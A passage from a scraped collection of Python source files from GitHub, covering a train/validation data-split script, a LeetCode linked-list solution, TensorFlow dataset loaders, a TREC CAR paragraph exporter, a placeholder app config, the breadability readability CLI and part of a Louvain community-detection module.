sorted_subjs\n\n\ndef do_initial_split(\n desired_multifile_counts: dict,\n desired_files_remaining: int,\n sorted_files: list,\n sorted_subjs: list,\n) -> Tuple[Tuple[list, list], Tuple[list, list], int]:\n \"\"\"\n This function does an initial split of the files determined by the data in\n `sorted_subjs` and `sorted_files` into training vs. validation by\n attempting to achieve the constraints in `desired_multifile_counts`,\n `desired_files_remaining` (total number of files to include in validation set).\n\n Args:\n desired_multifile_counts (dict): dictionary of constraints defining the number of\n subjects to include that have 5, 4, 3, and 2 data recordings, respectively\n desired_files_remaining (int): The number of files we want to include in the\n validation split.\n sorted_files (list): the sorted list of data-recording file counts\n sorted_subjs (list): list of subject IDs sorted by data-recording file counts\n\n Returns:\n A tuple of two tuples and an int:\n (val_files, val_subjs),\n (sorted_files, sorted_subjs),\n desired_files_remaining\n \"\"\"\n logger = logging.getLogger(__name__)\n\n val_subjs, val_files = [], []\n for key, desired_count in desired_multifile_counts.items():\n desired_n = int(key.split(\"_\")[1])\n for n in range(desired_count):\n try:\n n_ix = sorted_files.index(desired_n)\n except ValueError:\n logger.error(\n \"Couldn't find subject %d with desired count %d in \"\n \"the files left over for validation split. Please reduce the requested\"\n \" number of subjects for this desired count and re-run.\",\n n,\n desired_count,\n )\n raise\n\n val_subjs.append(sorted_subjs.pop(n_ix))\n val_files.append(sorted_files.pop(n_ix))\n desired_files_remaining -= val_files[-1]\n\n return (val_files, val_subjs), (sorted_files, sorted_subjs), desired_files_remaining\n\n\ndef _data_tuple_from_dict(data_dict: dict) -> Generator:\n \"\"\"\n It takes a dictionary and returns a tuple of the values in the dictionary, sorted by the\n keys\n\n Args:\n data_dict (dict): a dictionary of data\n\n Returns:\n A generator object.\n \"\"\"\n return (data_dict[key] for key in sorted(data_dict.keys()))\n\n\ndef _attempt_satisfy_down(\n val_data: dict, desired_data: dict, from_data: dict, tol: int\n) -> Tuple[list, list]:\n \"\"\"\n Attempts to fix the initial train-val split done by `do_initial_split` to reduce the\n number of subjects in validation set to match the desired number defined in\n `desired_data`. Errors if it can't easily swap out single-data-file subjects from\n training set to validation set without violating tolerance on number of total files\n in validation set.\n\n NOTE: there are probably more sophisticated ways to satisfy these constraints (e.g.,\n swapping subjects that have more than one recording file), but for simplicity we have\n ignored this potential. Future work can build a more robust system for satisfying\n constraints, if desired.\n\n Args:\n val_data (dict): dict with fields \"file_counts\", \"subjects\"\n desired_data (dict): dict with fields \"file_counts\", \"subjects\"\n from_data (dict): dict with fields \"file_counts\", \"subjects\"\n tol (int): tolerance for how far we can be from desired number of total data files\n in validation set\n\n Returns:\n A tuple of two lists, splitting validation and training subjects.\n \"\"\"\n logger = logging.getLogger(__name__)\n\n val_files, val_subjs = _data_tuple_from_dict(val_data)\n desired_val_files, desired_val_subjs = _data_tuple_from_dict(desired_data)\n sorted_files, sorted_subjs = _data_tuple_from_dict(from_data)\n\n while (tol > 0) or (len(val_subjs) > desired_val_subjs):\n # popping from end, which removes subjects with 1 data file first\n sorted_subjs.append(val_subjs.pop())\n sorted_files.append(val_files.pop())\n tol -= sorted_files[-1]\n\n if len(val_subjs) > desired_val_subjs:\n logger.error(\n \"Cannot reconcile requirements for validation subject counts having \"\n \"particular numbers of data files with the constraints on number of \"\n \"validation subjects %d, number of total validation files \"\n \"%d and validation file count tolerance %d. Please\"\n \" either adjust subject counts by number of data files, the total number\"\n \" of desired validation files, or increase file count tolerance.\",\n desired_val_subjs,\n desired_val_files,\n tol,\n )\n raise RuntimeError()\n\n logger.info(\n \"Fixed total-validation subject constraint given file-count tolerance...\"\n )\n return val_subjs, sorted_subjs\n\n\ndef _attempt_satisfy_up(\n val_data: dict, desired_data: dict, from_data: dict, tol: int\n) -> Tuple[list, list]:\n \"\"\"\n Attempts to fix the initial train-val split done by `do_initial_split` to increase the\n number of subjects in validation set to match the desired number defined in\n `desired_data`. Errors if it can't easily swap out single-data-file subjects from\n validation set to training set without violating tolerance on number of total files\n in validation set.\n\n NOTE: there are probably more sophisticated ways to satisfy these constraints (e.g.,\n swapping subjects that have more than one recording file), but for simplicity we have\n ignored this potential. Future work can build a more robust system for satisfying\n constraints, if desired.\n\n Args:\n val_data (dict): dict with fields \"file_counts\", \"subjects\"\n desired_data (dict): dict with fields \"file_counts\", \"subjects\"\n from_data (dict): dict with fields \"file_counts\", \"subjects\"\n tol (int): tolerance for how far we can be from desired number of total data files\n in validation set\n\n Returns:\n A tuple of two lists, splitting validation and training subjects.\n \"\"\"\n\n logger = logging.getLogger(__name__)\n\n val_files, val_subjs = _data_tuple_from_dict(val_data)\n desired_val_files, desired_val_subjs = _data_tuple_from_dict(desired_data)\n sorted_files, sorted_subjs = _data_tuple_from_dict(from_data)\n\n while (tol > 0) or (len(val_subjs) < desired_val_subjs):\n # popping from end, which removes subjects with 1 data file first\n val_subjs.append(sorted_subjs.pop())\n val_files.append(sorted_files.pop())\n tol -= val_files[-1]\n\n if len(val_subjs) > desired_val_subjs:\n logger.error(\n \"Cannot reconcile requirements for validation subject counts having \"\n \"particular numbers of data files with the constraints on number of \"\n \"validation subjects %d, number of total validation files \"\n \"%d and validation file count tolerance %d. Please\"\n \" either adjust subject counts by number of data files, the total number\"\n \" of desired validation files, or increase file count tolerance.\",\n desired_val_subjs,\n desired_val_files,\n tol,\n )\n raise RuntimeError()\n\n logger.info(\n \"Fixed total-validation subject constraint given file-count tolerance...\"\n )\n return val_subjs, sorted_subjs\n\n\ndef verify_satisfy_split(\n val_data: dict, desired_data: dict, from_data: dict, tol: int\n) -> Tuple[list, list]:\n \"\"\"\n This function attempts to verify that the initial train-val split done in\n `do_initial_split` satisfies all constrains on desired number of subjects in\n validation set as well as total number of files in validation set. It calls one of\n two functions if, after the initial sort, there are too many or two few subjects in\n the validation set. Those functions either fix the issue and satisfy constraints, or\n error out.\n\n Args:\n val_data (dict): dict with fields \"file_counts\", \"subjects\"\n desired_data (dict): dict with fields \"file_counts\", \"subjects\"\n from_data (dict): dict with fields \"file_counts\", \"subjects\"\n tol (int): tolerance for how far we can be from desired number of total data files\n in validation set\n\n Returns:\n a tuple of two lists.\n \"\"\"\n logger = logging.getLogger(__name__)\n\n val_files, val_subjs = _data_tuple_from_dict(val_data)\n (\n desired_val_files,\n desired_files_remaining,\n desired_val_subjs,\n ) = _data_tuple_from_dict(desired_data)\n sorted_files, sorted_subjs = _data_tuple_from_dict(from_data)\n\n while desired_files_remaining > 0:\n val_subjs.append(sorted_subjs.pop())\n desired_files_remaining -= sorted_files.pop()\n\n val_data = {\"file_counts\": val_files, \"subjects\": val_subjs}\n desired_data = {\"file_counts\": desired_val_files, \"subjects\": desired_val_subjs}\n from_data = {\"file_counts\": sorted_files, \"subjects\": sorted_subjs}\n if len(val_subjs) > desired_val_subjs:\n logger.info(\n \"Too many subjects selected based in initial passthrough. Attempting to fix...\"\n )\n\n val_subjs, train_subjs = _attempt_satisfy_down(\n val_data, desired_data, from_data, tol\n )\n\n elif len(val_subjs) < desired_val_subjs:\n logger.info(\n \"Not enough subjects selected based in initial passthrough. Attempting to fix...\"\n )\n\n val_subjs, train_subjs = _attempt_satisfy_up(\n val_data, desired_data, from_data, tol\n )\n\n return val_subjs, train_subjs\n\n\ndef _make_train_val_split(\n train_test_files: Dict[str, List[str]],\n desired_val_subjs: int,\n desired_val_files: int,\n n_files_tol: int = 1,\n **kwargs,\n) -> Dict[str, List[str]]:\n # pylint: disable=too-many-locals\n \"\"\"\n It takes in a dictionary splitting data into train/val, test, and simulation, and the\n desired number of subjects and files to include in the validation set,\n and then it splits the train/val set into a validation set and a training set, such that\n the validation set has the desired number of subjects and files, with the added\n constraints regarding the number of subjects included that have certain numbers of\n data files defined by kwargs (see `_get_desired_multifile_params`).\n\n Args:\n train_test_files (Dict[str, List[str]]): a dictionary that contains the list of files\n per uber data category (i.e., keys: \"train_val\", \"test\", and \"sim\")\n desired_val_subjs (int): the number of subjects you want in the validation set\n desired_val_files (int): the number of files you want in the validation set\n n_files_tol (int): the number of files that can be off from the desired\n number of files in the validation set. Defaults to 1\n \"\"\"\n # this loads in the desired number of subjects with multiple data recordings to\n # include in the validation set\n desired_multifile_counts = _get_desired_multifile_params(**kwargs)\n\n # here, we organize the subjects by decreasing data-recording counts to use in\n # systematizing the segregation of subjects & files such that this process is\n # idempotent\n # since we first make the split between train/val & test, we load in this data\n # and then just focus on the train files to split further\n train_val_files = [Path(file) for file in train_test_files[\"train_val\"]]\n files_dict = _make_files_dict(train_val_files)\n sorted_data = _get_sorted_train_val_files(files_dict)\n\n # initial split into val and train\n val_tup, train_tup, desired_files_remaining = do_initial_split(\n desired_multifile_counts, desired_val_files, *sorted_data\n )\n\n # verify and/or attempt to fix split to satisfy constraints\n val_data = {\"file_counts\": val_tup[0], \"subjects\": val_tup[1]}\n desired_data = {\n \"file_counts\": desired_val_files,\n \"files_remaining\": desired_files_remaining,\n \"subjects\": desired_val_subjs,\n }\n from_data = {\"file_counts\": train_tup[0], \"subjects\": train_tup[1]}\n val_subjs, train_subjs = verify_satisfy_split(\n val_data, desired_data, from_data, n_files_tol\n )\n\n # now, find the file names for each subject in val_subjs and train_subjs and store as dict\n trn_val_tst_sim_dict = {\n \"validation\": [file for subj in val_subjs for file in files_dict[subj]],\n \"train\": [file for subj in train_subjs for file in files_dict[subj]],\n }\n\n # # now, write dict to json\n # _write_json(TRAIN_VAL_FILE, train_val_dict)\n trn_val_tst_sim_dict[\"test\"] = train_test_files[\"test\"]\n trn_val_tst_sim_dict[\"simulate\"] = train_test_files[\"simulate\"]\n return trn_val_tst_sim_dict\n\n\ndef make_data_splits_json(\n interim_path: str,\n test_split_criteria: Dict[str, int],\n val_split_criteria: Dict[str, int],\n overwrite_output: bool,\n) -> None:\n \"\"\"\n This function akes in the path to the interim data folder, the test split criteria,\n and the validation split criteria, and creates two json files in the interim data\n folder: one that splits the data into train/val vs. test, and one that splits the\n data into train vs. val.\n\n The function first checks if the train/val vs. test split file exists. If it doesn't,\n it calls the `_make_train_test_sim_split` function, which takes in the path to the\n interim data folder and the test split criteria, and creates the train/val vs. test\n split file.\n\n The function then checks if the train vs. val split file exists. If it doesn't, it\n calls the `_make_train_val_split` function, which takes in the validation split\n criteria and creates the train vs. val split file.\n\n Args:\n interim_path (str): the path to the interim data folder\n test_split_criteria (Dict[str, int]): Criterion for splitting data between test\n and train/val datasets, in the form of:\n {\n \"n_double_file\": int,\n \"n_sing_file\": int\n }\n where \"n_double_file\" is the number of subjects that have 2 data recordings, and\n \"n_sing_file\" is the number of subjects that have 1 data recording\n val_split_criteria (Dict[str, int]): Criterion for splitting data between test\n and train and val datasets, in the form of:\n {\n \"desired_val_files\": int,\n \"desired_val_subjs\": int,\n \"n_2_files\": int,\n \"n_3_files\": int,\n \"n_4_files\": int,\n \"n_5_files\": int,\n \"n_files_tol\": int\n }\n where \"desired_val_files\" is the total number of files in the validation set,\n \"desired_val_subjs\" is the total number of subjects in the validation set,\n \"n_2_files\" is the number of subjects with 2 data recordings in the validation set,\n \"n_3_files\" is the number of subjects with 3 data recordings in the validation set,\n \"n_4_files\" is the number of subjects with 4 data recordings in the validation set,\n \"n_5_files\" is the number of subjects with 5 data recordings in the validation set,\n \"n_files_tol\" is the tolerance on the total number of files in the validation set,\n used to try to satisfy all constraints.\n overwrite_output (bool): Whether to overwrite any preexisting DATA_GROUP_SPLITS\n json file\n \"\"\"\n logger = logging.getLogger(__name__)\n if (not DATA_GROUP_SPLITS.exists()) or overwrite_output:\n logger.info(\n (\n \"json file for splitting files into groups (e.g., train, test, etc.) does \"\n \"not exist or overwrite setting is on. writing file first...\"\n )\n )\n train_test_files = _make_train_test_sim_split(\n Path(interim_path), **test_split_criteria\n )\n trn_val_tst_sim_splits = _make_train_val_split(\n train_test_files, **val_split_criteria\n )\n _write_json(DATA_GROUP_SPLITS, trn_val_tst_sim_splits)\n logger.info(\"writing datafile group splits complete\")\n else:\n logger.info(\"json file for splitting files into groups already exists...\")\n\n\n@click.command()\n@click.argument(\n \"input_filepath\",\n type=click.Path(exists=True),\n required=False,\n default=\"../../data/raw/exercise_data.50.0000_multionly.mat\",\n)\n@click.argument(\n \"output_path\",\n type=click.Path(exists=True),\n required=False,\n default=\"../../data/interim/\",\n)\n@click.argument(\n \"val_crit_filepath\",\n type=click.Path(exists=True),\n required=False,\n default=\"./val_split_crit.json\",\n)\n@click.argument(\n \"test_crit_filepath\",\n type=click.Path(exists=True),\n required=False,\n default=\"./test_split_crit.json\",\n)\n@click.option(\n \"--overwrite-output/--keep-output\",\n type=bool,\n default=False,\n show_default=True,\n help=(\n \"Whether to overwrite files of matching output data by filename if they already \"\n \"exist.\"\n ),\n)\ndef main(\n input_filepath: str = \"../../data/raw/exercise_data.50.0000_multionly.mat\",\n output_path: str = \"../../data/interim/\",\n val_crit_filepath: str = \"./val_split_crit.json\",\n test_crit_filepath: str = \"./test_split_crit.json\",\n overwrite_output: bool = False,\n) -> None:\n # pylint: disable=too-many-arguments\n \"\"\"\n Runs data processing scripts to turn raw data from (../raw) in MATLAB format into\n PARQUET files ready to be featurized (saved in ../interim/). Function also creates\n JSON files which serve to separate data files into train, validation, and test sets.\n\n Args:\n input_filepath (str): location of the raw .mat file. Defaults to\n \"../../data/raw/exercise_data.50.0000_multionly.mat\"\n output_path (str): location to store the raw PARQUET files. Defaults to\n \"../../data/interim/\"\n val_crit_filepath (str): path to JSON specifying parameters for splitting\n training files into train vs. validation set. See `_make_train_val_split` for\n all parameter options. Defaults to \"./val_split_crit.json\".\n test_crit_filepath (str): path to JSON specifying parameters for splitting\n files into train-val vs. test set. See `_make_train_test_sim_split` for\n all parameter options. Defaults to \"./test_split_crit.json\".\n overwrite_output (bool): Whether to overwrite the raw PARQUET files\n if they already exist. Defaults to False\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.info(\"making interim dataset from raw data\")\n\n if overwrite_output:\n logger.info(\"function will overwrite existing interim data\")\n\n if \"multi\" in input_filepath:\n logger.info(\"converting multi-acivity .mat file to PARQUET format\")\n logger.info(\"Loading %s\", input_filepath)\n multi_convert_mat_to_parquet(input_filepath, output_path, overwrite_output)\n else:\n raise ValueError(\"Function not defined to preprocess single-activity dataset.\")\n\n logger.info(\"conversion to PARQUET complete\")\n\n logger.info(\"creating train-val-test split JSONs\")\n test_split_criteria = _read_json(test_crit_filepath)\n val_split_criteria = _read_json(val_crit_filepath)\n # remove comment from json data if it exists\n val_split_criteria.pop(\"_comment\", None)\n make_data_splits_json(\n output_path, test_split_criteria, val_split_criteria, overwrite_output\n )\n logger.info(\"dataset creation complete...\")\n\n\nif __name__ == \"__main__\":\n LOG_FMT = \"%(asctime)s - %(name)s - %(levelname)s - %(message)s\"\n logging.basicConfig(level=logging.INFO, format=LOG_FMT)\n\n # not used in this stub but often useful for finding various files\n project_dir = Path(__file__).resolve().parents[1]\n ACTIVITY_GROUPS_FILE = project_dir / \"data\" / \"activity_groupings.json\"\n DATA_GROUP_SPLITS = project_dir / \"features\" / \"datafile_group_splits.json\"\n\n # find .env automagically by walking up directories until it's found, then\n # load up the .env entries as environment variables\n load_dotenv(find_dotenv())\n\n main()\n","repo_name":"adamgifford-behavr/exercise_prediction","sub_path":"src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":36912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33759584278","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020/6/29 20:27\n @Author : QDY\n @FileName: 138. 复制带随机指针的链表.py\n\n 给定一个链表,每个节点包含一个额外增加的随机指针,该指针可以指向链表中的任何节点或空节点。\n\n 要求返回这个链表的 深拷贝。 \n\n 我们用一个由 n 个节点组成的链表来表示输入/输出中的链表。每个节点用一个 [val, random_index] 表示:\n\n val:一个表示 Node.val 的整数。\n random_index:随机指针指向的节点索引(范围从 0 到 n-1);如果不指向任何节点,则为  null 。\n\"\"\"\n\n\n# Definition for a Node.\nclass Node:\n def __init__(self, x: int, next: 'Node' = None, random: 'Node' = None):\n self.val = int(x)\n self.next = next\n self.random = random\n\n\nclass Solution:\n def copyRandomList(self, head):\n if not head: return None\n cur = head\n hash_map = {}\n while cur: # 第一遍遍历,将节点放入哈希表\n hash_map[cur] = Node(cur.val)\n cur = cur.next\n\n for cur in hash_map: # 第二遍遍历,利用更新next和random\n if cur.next:\n hash_map[cur].next = hash_map[cur.next]\n if cur.random:\n hash_map[cur].random = hash_map[cur.random]\n return hash_map[head]\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/138. 复制带随机指针的链表.py","file_name":"138. 复制带随机指针的链表.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18677235716","text":"\"\"\"\n Dataset routines.\n\"\"\"\n\n__all__ = ['get_dataset_metainfo', 'get_train_data_source', 'get_val_data_source', 'get_test_data_source']\n\nimport tensorflow as tf\nfrom .datasets.imagenet1k_cls_dataset import ImageNet1KMetaInfo\nfrom .datasets.cub200_2011_cls_dataset import CUB200MetaInfo\nfrom .datasets.cifar10_cls_dataset import CIFAR10MetaInfo\nfrom .datasets.cifar100_cls_dataset import CIFAR100MetaInfo\nfrom .datasets.svhn_cls_dataset import SVHNMetaInfo\nfrom .datasets.voc_seg_dataset import VOCMetaInfo\nfrom .datasets.ade20k_seg_dataset import ADE20KMetaInfo\nfrom .datasets.cityscapes_seg_dataset import CityscapesMetaInfo\nfrom .datasets.coco_seg_dataset import CocoSegMetaInfo\nfrom .datasets.coco_hpe1_dataset import CocoHpe1MetaInfo\nfrom .datasets.coco_hpe2_dataset import CocoHpe2MetaInfo\nfrom .datasets.coco_hpe3_dataset import CocoHpe3MetaInfo\n\n\ndef get_dataset_metainfo(dataset_name):\n \"\"\"\n Get dataset metainfo by name of dataset.\n\n Parameters:\n ----------\n dataset_name : str\n Dataset name.\n\n Returns:\n -------\n DatasetMetaInfo\n Dataset metainfo.\n \"\"\"\n dataset_metainfo_map = {\n \"ImageNet1K\": ImageNet1KMetaInfo,\n \"CUB200_2011\": CUB200MetaInfo,\n \"CIFAR10\": CIFAR10MetaInfo,\n \"CIFAR100\": CIFAR100MetaInfo,\n \"SVHN\": SVHNMetaInfo,\n \"VOC\": VOCMetaInfo,\n \"ADE20K\": ADE20KMetaInfo,\n \"Cityscapes\": CityscapesMetaInfo,\n \"CocoSeg\": CocoSegMetaInfo,\n \"CocoHpe1\": CocoHpe1MetaInfo,\n \"CocoHpe2\": CocoHpe2MetaInfo,\n \"CocoHpe3\": CocoHpe3MetaInfo,\n }\n if dataset_name in dataset_metainfo_map.keys():\n return dataset_metainfo_map[dataset_name]()\n else:\n raise Exception(\"Unrecognized dataset: {}\".format(dataset_name))\n\n\ndef get_train_data_source(ds_metainfo,\n batch_size,\n data_format=\"channels_last\"):\n \"\"\"\n Get data source for training subset.\n\n Parameters:\n ----------\n ds_metainfo : DatasetMetaInfo\n Dataset metainfo.\n batch_size : int\n Batch size.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n\n Returns:\n -------\n DataLoader\n Data source.\n int\n Dataset size.\n \"\"\"\n data_generator = ds_metainfo.train_transform(\n ds_metainfo=ds_metainfo,\n data_format=data_format)\n generator = ds_metainfo.train_generator(\n data_generator=data_generator,\n ds_metainfo=ds_metainfo,\n batch_size=batch_size)\n return tf.data.Dataset.from_generator(\n generator=lambda: generator,\n output_types=(tf.float32, tf.float32)),\\\n generator.n\n\n\ndef get_val_data_source(ds_metainfo,\n batch_size,\n data_format=\"channels_last\"):\n \"\"\"\n Get data source for validation subset.\n\n Parameters:\n ----------\n ds_metainfo : DatasetMetaInfo\n Dataset metainfo.\n batch_size : int\n Batch size.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n\n Returns:\n -------\n DataLoader\n Data source.\n int\n Dataset size.\n \"\"\"\n data_generator = ds_metainfo.val_transform(\n ds_metainfo=ds_metainfo,\n data_format=data_format)\n generator = ds_metainfo.val_generator(\n data_generator=data_generator,\n ds_metainfo=ds_metainfo,\n batch_size=batch_size)\n if hasattr(generator, \"dataset\"):\n ds_metainfo.update_from_dataset(generator.dataset)\n return tf.data.Dataset.from_generator(\n generator=lambda: generator,\n output_types=(tf.float32, tf.float32)),\\\n generator.n\n\n\ndef get_test_data_source(ds_metainfo,\n batch_size,\n data_format=\"channels_last\"):\n \"\"\"\n Get data source for testing subset.\n\n Parameters:\n ----------\n ds_metainfo : DatasetMetaInfo\n Dataset metainfo.\n batch_size : int\n Batch size.\n data_format : str, default 'channels_last'\n The ordering of the dimensions in tensors.\n\n Returns:\n -------\n DataLoader\n Data source.\n int\n Dataset size.\n \"\"\"\n data_generator = ds_metainfo.test_transform(\n ds_metainfo=ds_metainfo,\n data_format=data_format)\n generator = ds_metainfo.test_generator(\n data_generator=data_generator,\n ds_metainfo=ds_metainfo,\n batch_size=batch_size)\n if hasattr(generator, \"dataset\"):\n ds_metainfo.update_from_dataset(generator.dataset)\n return tf.data.Dataset.from_generator(\n generator=lambda: generator,\n output_types=(tf.float32, tf.float32)),\\\n generator.n\n","repo_name":"osmr/imgclsmob","sub_path":"tensorflow2/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","stars":2864,"dataset":"github-code","pt":"37"} +{"seq_id":"72829604587","text":"from trec_car.read_data import iter_paragraphs\nfrom trec_car.read_data import ParaText\nimport jsonlines\nfrom tqdm import tqdm\n\ndebug = False\nbase_path = \"/media/jonas/archive/master/data/car/\"\nsave_path = base_path+\"my_car/\"\nbase_path += \"test200-train/\" if debug else \"train/\"\npara_path = base_path+\"base.train.cbor-paragraphs.cbor\"\nqa_writer = jsonlines.open(save_path + \"paragraphs.jsonl\", 'w', flush=True)\npbar = tqdm(desc=\"writing paragraphs\")\nwith open(para_path,'rb') as f:\n\n for p in iter_paragraphs(f):\n\n texts = [elem.text if isinstance(elem, ParaText)\n else elem.anchor_text\n for elem in p.bodies]\n para = {\"id\":p.para_id,\"text\":' '.join(texts)}\n qa_writer.write(para)\n pbar.update()\n\npbar.close()","repo_name":"Lyngsoe/AutomaticQueryReformulation","sub_path":"dataset/car/save_paragraphs.py","file_name":"save_paragraphs.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18368305361","text":"# -*- encoding: utf-8 -*-\n\n\"\"\"\nmain config file --> to keep secret \nstores main secret keys and app passwords\n\"\"\"\n\n\"\"\" APP SECRET KEY \"\"\"\nSECRET_KEY\t\t\t\t\t= \"app_very_secret_key\"\n\n\n\"\"\" HOST / PORT / DOMAIN / SERVER \"\"\"\nSERVER_NAME_TEST\t\t= \"True\" \n\n\n# \"\"\" PORT SOCKETIO \"\"\"\n# PORT_EVENTLET\t\t= \"4000\"\n\n\n\"\"\" MONGODB \"\"\"\nMONGO_URI\t\t\t\t\t= 'mongodb://localhost:27017/apiviz'\n","repo_name":"CBalsier/ApiViz","sub_path":"app/config_app/config_secret_vars_example.py","file_name":"config_secret_vars_example.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23638338229","text":"# -*- coding: utf8 -*-\n\n\"\"\"\nA fast python port of arc90's readability tool\n\nUsage:\n breadability [options] \n breadability --version\n breadability --help\n\nArguments:\n URL or file path to process in readable form.\n\nOptions:\n -f, --fragment Output html fragment by default.\n -b, --browser Open the parsed content in your web browser.\n -d, --debug Output the detailed scoring information for debugging\n parsing.\n -v, --verbose Increase logging verbosity to DEBUG.\n --version Display program's version number and exit.\n -h, --help Display this help message and exit.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division, print_function, unicode_literals\n\n\nimport logging\nimport locale\nimport webbrowser\n\nfrom tempfile import NamedTemporaryFile\nfrom docopt import docopt\nfrom .. import __version__\nfrom .._compat import urllib\nfrom ..readable import Article\n\n\nHEADERS = {\n \"User-Agent\": 'breadability/{version} ({url})'.format(\n url=\"https://github.com/bookieio/breadability\",\n version=__version__\n )\n}\n\n\ndef parse_args():\n return docopt(__doc__, version=__version__)\n\n\ndef main():\n args = parse_args()\n logger = logging.getLogger(\"breadability\")\n\n if args[\"--verbose\"]:\n logger.setLevel(logging.DEBUG)\n\n resource = args[\"\"]\n if resource.startswith(\"www\"):\n resource = \"http://\" + resource\n\n url = None\n if resource.startswith(\"http://\") or resource.startswith(\"https://\"):\n url = resource\n\n request = urllib.Request(url, headers=HEADERS)\n response = urllib.urlopen(request)\n content = response.read()\n response.close()\n else:\n with open(resource, \"r\") as file:\n content = file.read()\n\n document = Article(content, url=url, return_fragment=args[\"--fragment\"])\n if args[\"--browser\"]:\n html_file = NamedTemporaryFile(mode=\"wb\", suffix=\".html\", delete=False)\n\n content = document.readable.encode(\"utf8\")\n html_file.write(content)\n html_file.close()\n\n webbrowser.open(html_file.name)\n else:\n encoding = locale.getpreferredencoding()\n content = document.readable.encode(encoding)\n print(content)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bookieio/breadability","sub_path":"breadability/scripts/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":203,"dataset":"github-code","pt":"37"} +{"seq_id":"23606547900","text":"# Standard Library\nfrom statistics import mean\nfrom itertools import combinations, chain, product\nfrom collections import defaultdict\n\n# Local Modules\nfrom .utilities import get_lt_adj_matrix_entry\n\n\n#########\n# HELPERS\n#########\n\n\ndef get_all_edges(nodes):\n return chain(combinations(nodes, 2), ((u, u) for u in nodes))\n\n\ndef compute_sigma_in(nodes_in_C, adj_matrix):\n # Sum of the edge weights of the links inside community C\n return sum(get_lt_adj_matrix_entry(u, v, adj_matrix) for u, v in get_all_edges(nodes_in_C))\n\n\ndef compute_sigma_tot(nodes_in_C, adj_matrix):\n # Sum of all the weights of the links *to* nodes in a community\n sigma_tot = 0.0\n for node in nodes_in_C:\n for neighbor, edge_weight in enumerate(adj_matrix[node]):\n if not neighbor in nodes_in_C:\n sigma_tot += edge_weight\n\n return sigma_tot\n\n\ndef compute_k(node, adj_matrix):\n # Weighted degree of node\n return sum(adj_matrix[node])\n\n\ndef compute_k_in(node, nodes_in_C, adj_matrix):\n # Sum of the weights of the links between a node and all other nodes in a\n # community\n k_i_in = 0.0\n for neighbor in nodes_in_C:\n k_i_in += adj_matrix[node][neighbor]\n\n return k_i_in\n\n\n# def compute_Q(node_to_comm, adj_matrix, resolution=1.0):\n# Q = 0\n# m = compute_sigma_in(range(len(adj_matrix)), adj_matrix)\n#\n# for i, j in get_all_edges(range(len(adj_matrix))):\n# A_ij = adj_matrix[i][j]\n# k_i = compute_k(i, adj_matrix)\n# k_j = compute_k(j, adj_matrix)\n# delta_ij = int(node_to_comm[i] == node_to_comm[j])\n#\n# Q += (A_ij - ((k_i * k_j) / (2 * m))) * delta_ij\n#\n# return Q * (1 / (2 * m))\n\n\n# def compute_delta_Q(i, node_to_comm, adj_matrix):\n# C = node_to_comm[i]\n# nodes_in_C = [j for j, comm in enumerate(node_to_comm) if comm == C]\n#\n# sigma_in = compute_sigma_in(nodes_in_C, adj_matrix)\n# sigma_tot = compute_sigma_tot(nodes_in_C, adj_matrix)\n# k_i = compute_k(i, adj_matrix)\n# k_i_in = compute_k_in(i, nodes_in_C, adj_matrix)\n# m = compute_sigma_in(range(len(adj_matrix)), adj_matrix)\n#\n# new_Q = ((sigma_in + (2 * k_i_in)) / (2 * m)) - \\\n# (((sigma_tot + k_i) / (2 * m)) ** 2)\n# old_Q = (sigma_in / (2 * m)) - \\\n# ((sigma_tot / (2 * m)) ** 2) - ((k_i / (2 * m)) ** 2)\n#\n# return new_Q - old_Q\n\n\ndef create_Q_computer(adj_matrix):\n m = compute_sigma_in(range(len(adj_matrix)), adj_matrix)\n\n summation_terms = []\n for i, j in get_all_edges(range(len(adj_matrix))):\n A_ij = get_lt_adj_matrix_entry(i, j, adj_matrix)\n k_i = compute_k(i, adj_matrix)\n k_j = compute_k(j, adj_matrix)\n\n term = A_ij - ((k_i * k_j) / (2 * m))\n summation_terms.append((i, j, term))\n\n def compute_Q(node_to_comm):\n Q = 0.0\n for i, j, term in summation_terms:\n delta_ij = int(node_to_comm[i] == node_to_comm[j])\n Q += term * delta_ij\n\n return Q * (1 / (2 * m))\n\n return compute_Q\n\n\ndef initialize_communities(adj_matrix):\n return list(range(len(adj_matrix)))\n\n\n########\n# PHASES\n########\n\n\ndef run_first_phase(node_to_comm, adj_matrix, size, force_merge=False):\n \"\"\"\n For each node i, the change in modularity is computed for removing i from\n its own community and moving it into the community of each neighbor j of i.\n Once this value, delta_Q, is calculated for all communities i is connected\n to, i is placed in the community that resulted in the largest delta_Q. If\n no increase is possible, i remains in its original community. This process\n is applied repeatedly and sequentially to all nodes until no modularity\n increase can occur. Once this local maximum of modularity is hit, the first\n phase has ended.\n\n From: https://en.wikipedia.org/wiki/Louvain_modularity#Algorithm\n \"\"\"\n\n compute_Q = create_Q_computer(adj_matrix)\n best_node_to_comm = node_to_comm.copy()\n num_communities = len(set(best_node_to_comm))\n is_updated = not (size and num_communities == size)\n\n # QUESTION: Randomize the order of the nodes before iterating?\n\n while is_updated:\n is_updated = False\n for i, neighbors in enumerate(adj_matrix):\n num_communities = len(set(best_node_to_comm))\n if size and num_communities == size:\n break\n\n best_Q, max_delta_Q = compute_Q(best_node_to_comm), 0.0\n updated_node_to_comm, visited_communities = best_node_to_comm, set()\n for j, weight in enumerate(neighbors):\n # Skip if self-loop or not neighbor\n if i == j or not weight:\n continue\n\n neighbor_comm 